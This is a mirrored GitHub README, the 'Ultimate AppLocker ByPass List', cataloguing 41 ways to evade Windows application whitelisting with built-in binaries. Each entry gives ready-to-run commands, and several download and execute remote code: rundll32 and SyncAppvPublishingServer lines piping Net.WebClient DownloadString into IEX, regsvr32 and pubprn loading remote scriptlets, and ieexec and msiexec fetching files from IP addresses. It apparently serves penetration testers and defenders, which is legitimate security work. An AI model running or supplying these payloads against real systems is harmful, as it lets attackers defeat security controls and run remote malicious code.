https://github.com/milkdevil/ultimateapplockerbypasslist

https://github.com/milkdevil/ultimateapplockerbypasslist

Last synced: 25 days ago
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• Host: GitHub
• URL: https://github.com/milkdevil/ultimateapplockerbypasslist
• Owner: milkdevil
• Created: 2017-12-24T09:10:29.000Z (almost 7 years ago)
• Default Branch: master
• Last Pushed: 2021-01-27T01:10:09.000Z (almost 4 years ago)
• Last Synced: 2024-08-04T23:10:59.607Z (4 months ago)
• Size: 13.7 KB
• Stars: 58
• Watchers: 5
• Forks: 16
• Open Issues: 2
• Metadata Files:
  • Readme: README.md

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README

        
# Ultimate AppLocker ByPass List

The goal of this repository is to document the most common techniques to bypass AppLocker. 

This README file contains a complete list of all known bypasses.

Since AppLocker can be configured in different ways it makes sense to have master list of bypasses. 

This README.MD will be the master and will be updated with known and possible AppLocker bypasses.

**I have created a list of verified bypasses that works against the default rules created with AppLocker.**

For details on how I verified and how to create the default rules you can check my blog: 

https://oddvar.moe/2017/12/13/applocker-case-study-how-insecure-is-it-really-part-1/  

[VerifiedBypasses-DefaultRules.MD](https://github.com/api0cradle/UltimateAppLockerByPassList/blob/master/VerifiedBypasses-DefaultRules.md)

Please contribute and do point out errors or resources I have forgotten.

## 1. Rundll32.exe

`rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();new%20ActiveXObject("WScript.Shell").Run("powershell -nop -exec bypass -c IEX (New-Object Net.WebClient).DownloadString('http://ip:port/');"`

`rundll32.exe javascript:"\..\mshtml.dll,RunHTMLApplication ";eval("w=new%20ActiveXObject(\"WScript.Shell\");w.run(\"calc\");window.close()");`

`rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WScript.Shell").run("calc.exe",0,true);try{h.Send();b=h.ResponseText;eval(b);}catch(e){new%20ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im rundll32.exe",0,true);}`

`rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();GetObject("script:https://raw.githubusercontent.com/3gstudent/Javascript-Backdoor/master/test")`

`rundll32 shell32.dll,Control_RunDLL payload.dll`

Requires admin: No  

Windows binary: Yes  

Bypasses AppLocker Default rules: No  

Notes:

Links:  

https://pentestlab.blog/2017/05/23/applocker-bypass-rundll32/

https://evi1cg.me/archives/AppLocker_Bypass_Techniques.html#menu_index_7

https://github.com/redcanaryco/atomic-red-team/blob/master/Windows/Execution/Rundll32.md

## 2. Regsvr32.exe

`regsvr32 /s /n /u /i:http://example.com/file.sct scrobj.dll`

Requires admin: No  

Windows binary: Yes  

Bypasses AppLocker Default rules: No  

Notes: 

Links:  

https://gist.github.com/subTee/24c7d8e1ff0f5602092f58cbb3f7d302

https://github.com/redcanaryco/atomic-red-team/blob/master/Windows/Execution/Regsvr32.md

## 3. Msbuild.exe

`msbuild.exe pshell.xml`

Requires admin: No  

Windows binary: Yes  

Bypasses AppLocker Default rules: Yes  

Notes:

Links:  

https://gist.github.com/subTee/6b236083da2fd6ddff216e434f257614

http://subt0x10.blogspot.no/2017/04/bypassing-application-whitelisting.html

https://github.com/Cn33liz/MSBuildShell

https://github.com/Cn33liz/MS17-012

https://pentestlab.blog/2017/05/29/applocker-bypass-msbuild/

https://www.youtube.com/watch?v=aSDEAPXaz28

https://github.com/redcanaryco/atomic-red-team/blob/master/Windows/Execution/Trusted_Developer_Utilities.md

## 4. Regsvcs.exe

`regsvcs.exe /U regsvcs.dll`

`regsvcs.exe regsvcs.dll`

Requires admin: No  

Windows binary: Yes  

Bypasses AppLocker Default rules: No  

Notes:

Links:  

https://pentestlab.blog/2017/05/19/applocker-bypass-regasm-and-regsvcs/

https://github.com/redcanaryco/atomic-red-team/blob/master/Windows/Payloads/RegSvcsRegAsmBypass.cs

https://github.com/redcanaryco/atomic-red-team/blob/master/Windows/Execution/RegsvcsRegasm.md

## 5. Regasm.exe

`regasm.exe /U regsvcs.dll`

`regasm.exe regsvcs.dll`

Requires admin: /U does not require admin  

Windows binary: Yes  

Bypasses AppLocker Default rules: No  

Notes:

Links:  

https://pentestlab.blog/2017/05/19/applocker-bypass-regasm-and-regsvcs/

https://github.com/redcanaryco/atomic-red-team/blob/master/Windows/Payloads/RegSvcsRegAsmBypass.cs

https://github.com/redcanaryco/atomic-red-team/blob/master/Windows/Execution/RegsvcsRegasm.md

## 6. Bginfo.exe

`bginfo.exe bginfo.bgi /popup /nolicprompt`

Requires admin: No  

Windows binary: No  

Bypasses AppLocker Default rules: No  

Notes:

Links:  

https://msitpros.com/?p=3831

https://pentestlab.blog/2017/06/05/applocker-bypass-bginfo/

https://msitpros.com/?p=3860

## 7. InstallUtil.exe

`InstallUtil.exe /logfile= /LogToConsole=false /U AllTheThings.dll`

Requires admin: No  

Windows binary: Yes  

Bypasses AppLocker Default rules: No  

Notes:

Links:  

https://github.com/subTee/AllTheThings

https://pentestlab.blog/2017/05/08/applocker-bypass-installutil/

https://evi1cg.me/archives/AppLocker_Bypass_Techniques.html#menu_index_12

http://subt0x10.blogspot.no/2017/09/banned-file-execution-via.html

https://github.com/redcanaryco/atomic-red-team/blob/master/Windows/Execution/InstallUtil.md

## 8. MSDT.exe

`Open .diagcab package`

Requires admin: No  

Windows binary: Yes  

Bypasses AppLocker Default rules: ?  

Notes:

Links:  

https://cybersyndicates.com/2015/10/a-no-bull-guide-to-malicious-windows-trouble-shooting-packs-and-application-whitelist-bypass/

## 9. mshta.exe

`mshta.exe evilfile.hta`

Requires admin: No  

Windows binary: Yes  

Bypasses AppLocker Default rules: Yes  

Notes:

Links:  

https://evi1cg.me/archives/AppLocker_Bypass_Techniques.html#menu_index_4

## 10. Execute .Bat

`cmd.exe /k < script.txt`

Requires admin: No  

Windows binary: Yes  

Bypasses AppLocker Default rules: No    

Notes:

Links:  

https://evi1cg.me/archives/AppLocker_Bypass_Techniques.html#menu_index_3

## 11. Execute .PS1

`Get-Content script.txt | iex`

Requires admin: No  

Windows binary: Yes  

Bypasses AppLocker Default rules: No  

Notes:

Links:  

https://evi1cg.me/archives/AppLocker_Bypass_Techniques.html#menu_index_3

## 12. Execute .VBS

`cscript.exe //E:vbscript script.txt`

Requires admin: No  

Windows binary: Yes  

Bypasses AppLocker Default rules: No  

Notes:

Links:  

https://evi1cg.me/archives/AppLocker_Bypass_Techniques.html#menu_index_3

## 13. PresentationHost.exe

Missing Example

Requires admin: No  

Windows binary: Yes  

Bypasses AppLocker Default rules: ?  

Notes:

Links:  

https://github.com/api0cradle/ShmooCon-2015/blob/master/ShmooCon-2015-Simple-WLEvasion.pdf

## 14. dfsvc.exe

Missing Example

Requires admin: ?  

Windows binary: Yes  

Bypasses AppLocker Default rules: ?  

Notes:

Links:  

https://github.com/api0cradle/ShmooCon-2015/blob/master/ShmooCon-2015-Simple-WLEvasion.pdf

## 15. IEExec.exe

`ieexec.exe http://x.x.x.x:8080/bypass.exe`

Requires admin: ?  

Windows binary: Yes  

Bypasses AppLocker Default rules: ?

Notes:

Links:  

https://room362.com/post/2014/2014-01-16-application-whitelist-bypass-using-ieexec-dot-exe/

## 16. cdb.exe

`cdb.exe -cf x64_calc.wds -o notepad.exe`

Requires admin: ?  

Windows binary: No  

Bypasses AppLocker Default rules: ?  

Notes:

Links:  

http://www.exploit-monday.com/2016/08/windbg-cdb-shellcode-runner.html

## 17. dnx.exe

`dnx.exe consoleapp`

Requires admin: ?  

Windows binary: No  

Bypasses AppLocker Default rules: ?  

Notes:

Links:  

https://enigma0x3.net/2016/11/17/bypassing-application-whitelisting-by-using-dnx-exe/

## 18. rcsi.exe

`rcsi.exe bypass.csx`

Requires admin: ?  

Windows binary: No  

Bypasses AppLocker Default rules: ?  

Notes:

Links:  

https://enigma0x3.net/2016/11/21/bypassing-application-whitelisting-by-using-rcsi-exe/

## 19. csi.exe

Missing example

Requires admin: ?  

Windows binary: No  

Bypasses AppLocker Default rules: ?  

Notes:

Links:  

https://web.archive.org/web/20161008143428/http://subt0x10.blogspot.com/2016/09/application-whitelisting-bypass-csiexe.html

## 20. CPL loading location manipulation

`Control.exe`

Requires admin: No  

Windows binary: Yes  

Bypasses AppLocker Default rules: ?  

Notes:

Links:  

https://pentestlab.blog/2017/05/24/applocker-bypass-control-panel/

https://www.contextis.com/resources/blog/applocker-bypass-registry-key-manipulation/

## 21. msxsl.exe

`msxsl.exe customers.xml script.xsl`

Requires admin: No  

Windows binary: No  

Bypasses AppLocker Default rules: ?  

Notes:

Links:  

https://pentestlab.blog/2017/07/06/applocker-bypass-msxsl/

https://gist.github.com/subTee/d9380299ff35738723cb44f230ab39a1

## 22. msiexec.exe

`msiexec /quiet /i cmd.msi`

`msiexec /q /i http://192.168.100.3/tmp/cmd.png`

Requires admin: ?  

Windows binary: Yes  

Bypasses AppLocker Default rules: ?  

Notes:

Links:  

https://pentestlab.blog/2017/06/16/applocker-bypass-msiexec/

## 23. cmstp.exe

`cmstp.exe /ni /s c:\cmstp\CorpVPN.inf`

Requires admin: No  

Windows binary: Yes  

Bypasses AppLocker Default rules: ?  

Notes:

Links:  

https://msitpros.com/?p=3960

https://gist.github.com/api0cradle/cf36fd40fa991c3a6f7755d1810cc61e

## 24. xwizard.exe

`xwizard.exe argument1 argument2`

DLL loading in same folder xwizard.dll

Requires admin: No  

Windows binary: Yes  

Bypasses AppLocker Default rules: ?  

Notes:

Links:

http://www.hexacorn.com/blog/2017/07/31/the-wizard-of-x-oppa-plugx-style/

## 25. fsi.exe

`fsi.exe c:\folder\d.fscript`

Requires admin: No  

Windows binary: No  

Bypasses AppLocker Default rules: ?  

Notes:

Links:

https://gist.github.com/NickTyrer/51eb8c774a909634fa69b4d06fc79ae1

https://twitter.com/NickTyrer/status/904273264385589248

https://docs.microsoft.com/en-us/dotnet/fsharp/tutorials/fsharp-interactive/

## 26. odbcconf.exe

`odbcconf -f file.rsp`

Requires admin: ?  

Windows binary: Yes  

Bypasses AppLocker Default rules: ?  

Notes:

Links:

https://gist.github.com/NickTyrer/6ef02ce3fd623483137b45f65017352b

## 27. te.exe

`te.exe bypass.wsc`

Requires admin: No  

Windows binary: No  

Bypasses AppLocker Default rules: ?  

Notes: Can be used if the Test Authoring and Execution Framework is installed and is in a path that is whitelisted. 

Default location is: C:\program files (x86)\Windows Kits\10\testing\Runtimes\TAEF

 

Links:

https://twitter.com/gN3mes1s/status/927680266390384640

https://gist.github.com/N3mes1s/5b75a4cd6aa4d41bb742acace2c8ab42

## 28. Placing files in writeable paths under c:\windows

The following folders are by default writable and executable by normal users

`C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys`

`C:\Windows\System32\spool\drivers\color`

`C:\Windows\Tasks`

`C:\windows\tracing`

Requires admin: No  

Windows binary: N/A  

Bypasses AppLocker Default rules: ?  

Notes: This list is based on Windows 10 1709. Run accesschk to verify on other Windows versions

## 29. Atbroker.exe

`ATBroker.exe /start malware`

Requires admin: No  

Windows binary: Yes  

Bypasses AppLocker Default rules: ?  

Notes:

Links:

http://www.hexacorn.com/blog/2016/07/22/beyond-good-ol-run-key-part-42/

## 30. WMIC.exe

`wmic process call create calc`

Requires admin: No  

Windows binary: Yes  

Bypasses AppLocker Default rules: ?  

Notes: 

Links:

https://stackoverflow.com/questions/24658745/wmic-how-to-use-process-call-create-with-a-specific-working-directory

## 31. MavInject32.exe

`MavInject32.exe  /INJECTRUNNING `

Requires admin: No  

Windows binary: Yes  

Bypasses AppLocker Default rules: ?  

Notes: 

Links:

https://twitter.com/gN3mes1s/status/941315826107510784

https://twitter.com/Hexacorn/status/776122138063409152

## 32. Pubprn.vbs

`pubprn.vbs 127.0.0.1 script:https://gist.githubusercontent.com/api0cradle/fb164762143b1ff4042d9c662171a568/raw/709aff66095b7f60e5d6f456a5e42021a95ca802/test.sct`

Requires admin: No  

Windows binary: Yes  

Bypasses AppLocker Default rules: ?  

Notes: 

Links:

https://www.slideshare.net/enigma0x3/windows-operating-system-archaeology

https://enigma0x3.net/2017/08/03/wsh-injection-a-case-study/

## 33. slmgr.vbs

`slmgr.vbs`

Requires admin: No  

Windows binary: Yes  

Bypasses AppLocker Default rules: ?  

Notes: Requires registry keys for com object.

Links:

https://www.slideshare.net/enigma0x3/windows-operating-system-archaeology

https://www.youtube.com/watch?v=3gz1QmiMhss

## 34. winrm.vbs

`winrm quickconfig`

Requires admin: No  

Windows binary: Yes  

Bypasses AppLocker Default rules: ?  

Notes: Requires registry keys for com object.

Links:

https://www.slideshare.net/enigma0x3/windows-operating-system-archaeology

https://www.youtube.com/watch?v=3gz1QmiMhss

## 35. forfiles.exe

`forfiles /p c:\windows\system32 /m notepad.exe /c calc.exe`

Requires admin: No  

Windows binary: Yes  

Bypasses AppLocker Default rules: ?  

Notes:

Links:

https://twitter.com/vector_sec/status/896049052642533376

## 36. SyncAppvPublishingServer.exe

`SyncAppvPublishingServer.exe "n;((New-Object Net.WebClient).DownloadString('http://some.url/script.ps1') | IEX

`

Requires admin: No  

Windows binary: Yes  

Bypasses AppLocker Default rules: ?  

Notes:

Links:

https://twitter.com/monoxgas/status/895045566090010624

## 37. InfDefaultInstall.exe

`InfDefaultInstall.exe shady.inf`

Requires admin: ?  

Windows binary: Yes  

Bypasses AppLocker Default rules: ?  

Notes:

Links:

https://twitter.com/KyleHanslovan/status/911997635455852544

https://gist.github.com/KyleHanslovan/5e0f00d331984c1fb5be32c40f3b265a

## 38. Winword.exe

`winword.exe /l dllfile.dll`

Requires admin: No  

Windows binary: Yes  

Bypasses AppLocker Default rules: ?  

Notes:

Links:

https://twitter.com/subTee/status/884615369511636992

## 39. Runscripthelper.exe

`runscripthelper.exe surfacecheck \\?\C:\Test\Microsoft\Diagnosis\scripts\test.txt C:\Test`

Requires admin: No  

Windows binary: Yes  

Bypasses AppLocker Default rules: ?  

Notes:

Links:

https://posts.specterops.io/bypassing-application-whitelisting-with-runscripthelper-exe-1906923658fc

## 40. Tracker.exe

`Tracker.exe /d .\calc.dll /c C:\Windows\write.exe`

Requires admin: No  

Windows binary: No  

Bypasses AppLocker Default rules: ?  

Notes:

Part of Visual studio. 

Requires TrackerUI.dll present in 1028 subfolder.

Links:

https://twitter.com/Sudhanshu_C/status/943011972261412864

## 41. .WSF files

`script.wsf`

Requires admin: No  

Windows binary: No  

Bypasses AppLocker Default rules: ?  

Notes:

.WSF files are supposed to not be blocked by AppLocker

Links: